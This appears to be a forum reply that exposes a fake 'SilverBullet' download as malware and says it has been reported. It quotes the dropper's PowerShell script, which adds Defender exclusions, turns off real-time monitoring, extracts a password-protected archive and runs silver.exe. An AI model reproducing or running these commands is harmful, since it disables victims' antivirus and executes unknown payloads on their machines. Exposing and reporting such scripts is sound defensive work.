too obvious attempt dude, you have to do better than that, its not even a real silverbullet exe with hooked malware but just a standard malware archived,
and additionally, you should know that there is a self extracting option which doesn't need winrar to get extracted so this silly script of yours doesn't need to download winrar at all.
Add-MpPreference -ExclusionPath "%temp%"
Add-MpPreference -ExclusionPath "%AppData%"
Add-MpPreference -ExclusionPath "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup"
Set-MpPreference -DisableRealtimeMonitoring $true
do {
Start-Sleep -Milliseconds 5000
} until (Test-Path "$env:AppData\silver.rar")
& "$env:ProgramFiles\WinRAR\WinRAR.exe" x "$env:AppData\silver.rar" "$env:AppData" -p45623 -y
do {
Start-Sleep -Milliseconds 500
} until (Test-Path "$env:AppData\silver.exe")
Start-Process "$env:AppData\silver.exe"
reported